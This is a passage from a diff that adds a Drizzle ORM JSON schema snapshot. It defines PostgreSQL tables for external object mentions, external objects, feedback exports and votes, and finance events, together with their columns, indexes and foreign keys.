+        "external_object_mentions_company_source_record_uq": {
+          "name": "external_object_mentions_company_source_record_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_record_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "document_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "property_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "canonical_identity_hash",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"external_object_mentions\".\"source_record_id\" is not null and \"external_object_mentions\".\"canonical_identity_hash\" is not null",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "external_object_mentions_company_source_null_record_uq": {
+          "name": "external_object_mentions_company_source_null_record_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "document_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "property_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "canonical_identity_hash",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"external_object_mentions\".\"source_record_id\" is null and \"external_object_mentions\".\"canonical_identity_hash\" is not null",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "external_object_mentions_company_id_companies_id_fk": {
+          "name": "external_object_mentions_company_id_companies_id_fk",
+          "tableFrom": "external_object_mentions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "external_object_mentions_source_issue_id_issues_id_fk": {
+          "name": "external_object_mentions_source_issue_id_issues_id_fk",
+          "tableFrom": "external_object_mentions",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "source_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "external_object_mentions_object_id_external_objects_id_fk": {
+          "name": "external_object_mentions_object_id_external_objects_id_fk",
+          "tableFrom": "external_object_mentions",
+          "tableTo": "external_objects",
+          "columnsFrom": [
+            "object_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "external_object_mentions_created_by_plugin_id_plugins_id_fk": {
+          "name": "external_object_mentions_created_by_plugin_id_plugins_id_fk",
+          "tableFrom": "external_object_mentions",
+          "tableTo": "plugins",
+          "columnsFrom": [
+            "created_by_plugin_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.external_objects": {
+      "name": "external_objects",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "provider_key": {
+          "name": "provider_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "plugin_id": {
+          "name": "plugin_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "object_type": {
+          "name": "object_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "external_id": {
+          "name": "external_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "sanitized_canonical_url": {
+          "name": "sanitized_canonical_url",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "canonical_identity_hash": {
+          "name": "canonical_identity_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "display_key": {
+          "name": "display_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "icon_key": {
+          "name": "icon_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "display_title": {
+          "name": "display_title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status_key": {
+          "name": "status_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status_label": {
+          "name": "status_label",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status_icon_key": {
+          "name": "status_icon_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status_category": {
+          "name": "status_category",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'unknown'"
+        },
+        "status_tone": {
+          "name": "status_tone",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'neutral'"
+        },
+        "liveness": {
+          "name": "liveness",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'unknown'"
+        },
+        "is_terminal": {
+          "name": "is_terminal",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "data": {
+          "name": "data",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "remote_version": {
+          "name": "remote_version",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "etag": {
+          "name": "etag",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_resolved_at": {
+          "name": "last_resolved_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_changed_at": {
+          "name": "last_changed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_error_at": {
+          "name": "last_error_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "next_refresh_at": {
+          "name": "next_refresh_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "refresh_started_at": {
+          "name": "refresh_started_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "refresh_token": {
+          "name": "refresh_token",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_error_code": {
+          "name": "last_error_code",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_error_message": {
+          "name": "last_error_message",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "external_objects_company_provider_object_idx": {
+          "name": "external_objects_company_provider_object_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "provider_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "object_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "external_objects_company_provider_status_idx": {
+          "name": "external_objects_company_provider_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "provider_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status_category",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "external_objects_company_refresh_idx": {
+          "name": "external_objects_company_refresh_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "next_refresh_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "external_objects_company_external_id_uq": {
+          "name": "external_objects_company_external_id_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "provider_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "object_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "external_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "external_objects_company_identity_uq": {
+          "name": "external_objects_company_identity_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "provider_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "object_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "canonical_identity_hash",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "external_objects_company_id_companies_id_fk": {
+          "name": "external_objects_company_id_companies_id_fk",
+          "tableFrom": "external_objects",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "external_objects_plugin_id_plugins_id_fk": {
+          "name": "external_objects_plugin_id_plugins_id_fk",
+          "tableFrom": "external_objects",
+          "tableTo": "plugins",
+          "columnsFrom": [
+            "plugin_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.feedback_exports": {
+      "name": "feedback_exports",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "feedback_vote_id": {
+          "name": "feedback_vote_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "author_user_id": {
+          "name": "author_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "target_type": {
+          "name": "target_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "target_id": {
+          "name": "target_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "vote": {
+          "name": "vote",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'local_only'"
+        },
+        "destination": {
+          "name": "destination",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "export_id": {
+          "name": "export_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "consent_version": {
+          "name": "consent_version",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "schema_version": {
+          "name": "schema_version",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'paperclip-feedback-envelope-v2'"
+        },
+        "bundle_version": {
+          "name": "bundle_version",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'paperclip-feedback-bundle-v2'"
+        },
+        "payload_version": {
+          "name": "payload_version",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'paperclip-feedback-v1'"
+        },
+        "payload_digest": {
+          "name": "payload_digest",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "payload_snapshot": {
+          "name": "payload_snapshot",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "target_summary": {
+          "name": "target_summary",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "redaction_summary": {
+          "name": "redaction_summary",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "attempt_count": {
+          "name": "attempt_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "last_attempted_at": {
+          "name": "last_attempted_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "exported_at": {
+          "name": "exported_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "failure_reason": {
+          "name": "failure_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "feedback_exports_feedback_vote_idx": {
+          "name": "feedback_exports_feedback_vote_idx",
+          "columns": [
+            {
+              "expression": "feedback_vote_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "feedback_exports_company_created_idx": {
+          "name": "feedback_exports_company_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "feedback_exports_company_status_idx": {
+          "name": "feedback_exports_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "feedback_exports_company_issue_idx": {
+          "name": "feedback_exports_company_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "feedback_exports_company_project_idx": {
+          "name": "feedback_exports_company_project_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "project_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "feedback_exports_company_author_idx": {
+          "name": "feedback_exports_company_author_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "author_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "feedback_exports_company_id_companies_id_fk": {
+          "name": "feedback_exports_company_id_companies_id_fk",
+          "tableFrom": "feedback_exports",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "feedback_exports_feedback_vote_id_feedback_votes_id_fk": {
+          "name": "feedback_exports_feedback_vote_id_feedback_votes_id_fk",
+          "tableFrom": "feedback_exports",
+          "tableTo": "feedback_votes",
+          "columnsFrom": [
+            "feedback_vote_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "feedback_exports_issue_id_issues_id_fk": {
+          "name": "feedback_exports_issue_id_issues_id_fk",
+          "tableFrom": "feedback_exports",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "feedback_exports_project_id_projects_id_fk": {
+          "name": "feedback_exports_project_id_projects_id_fk",
+          "tableFrom": "feedback_exports",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.feedback_votes": {
+      "name": "feedback_votes",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "target_type": {
+          "name": "target_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "target_id": {
+          "name": "target_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "author_user_id": {
+          "name": "author_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "vote": {
+          "name": "vote",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "reason": {
+          "name": "reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "shared_with_labs": {
+          "name": "shared_with_labs",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "shared_at": {
+          "name": "shared_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "consent_version": {
+          "name": "consent_version",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "redaction_summary": {
+          "name": "redaction_summary",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "feedback_votes_company_issue_idx": {
+          "name": "feedback_votes_company_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "feedback_votes_issue_target_idx": {
+          "name": "feedback_votes_issue_target_idx",
+          "columns": [
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "feedback_votes_author_idx": {
+          "name": "feedback_votes_author_idx",
+          "columns": [
+            {
+              "expression": "author_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "feedback_votes_company_target_author_idx": {
+          "name": "feedback_votes_company_target_author_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "author_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "feedback_votes_company_id_companies_id_fk": {
+          "name": "feedback_votes_company_id_companies_id_fk",
+          "tableFrom": "feedback_votes",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "feedback_votes_issue_id_issues_id_fk": {
+          "name": "feedback_votes_issue_id_issues_id_fk",
+          "tableFrom": "feedback_votes",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.finance_events": {
+      "name": "finance_events",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "goal_id": {
+          "name": "goal_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "heartbeat_run_id": {
+          "name": "heartbeat_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "cost_event_id": {
+          "name": "cost_event_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "billing_code": {
+          "name": "billing_code",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "event_kind": {
+          "name": "event_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "direction": {
+          "name": "direction",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'debit'"
+        },
+        "biller": {
+          "name": "biller",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "provider": {
+          "name": "provider",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "execution_adapter_type": {
+          "name": "execution_adapter_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "pricing_tier": {
+          "name": "pricing_tier",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "region": {
+          "name": "region",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "model": {
+          "name": "model",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "quantity": {
+          "name": "quantity",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "unit": {
+          "name": "unit",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "amount_cents": {
+          "name": "amount_cents",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "currency": {
+          "name": "currency",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'USD'"
+        },
+        "estimated": {
+          "name": "estimated",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "external_invoice_id": {
+          "name": "external_invoice_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata_json": {
+          "name": "metadata_json",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "occurred_at": {
+          "name": "occurred_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "finance_events_company_occurred_idx": {
+          "name": "finance_events_company_occurred_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "occurred_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "finance_events_company_biller_occurred_idx": {
+          "name": "finance_events_company_biller_occurred_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "biller",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "occurred_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "finance_events_company_kind_occurred_idx": {
+          "name": "finance_events_company_kind_occurred_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "event_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "occurred_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "finance_events_company_direction_occurred_idx": {
+          "name": "finance_events_company_direction_occurred_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "direction",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "occurred_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "finance_events_company_heartbeat_run_idx": {
+          "name": "finance_events_company_heartbeat_run_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "heartbeat_run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "finance_events_company_cost_event_idx": {
+          "name": "finance_events_company_cost_event_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "cost_event_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "finance_events_company_id_companies_id_fk": {
+          "name": "finance_events_company_id_companies_id_fk",
+          "tableFrom": "finance_events",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "finance_events_agent_id_agents_id_fk": {
+          "name": "finance_events_agent_id_agents_id_fk",
+          "tableFrom": "finance_events",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "finance_events_issue_id_issues_id_fk": {
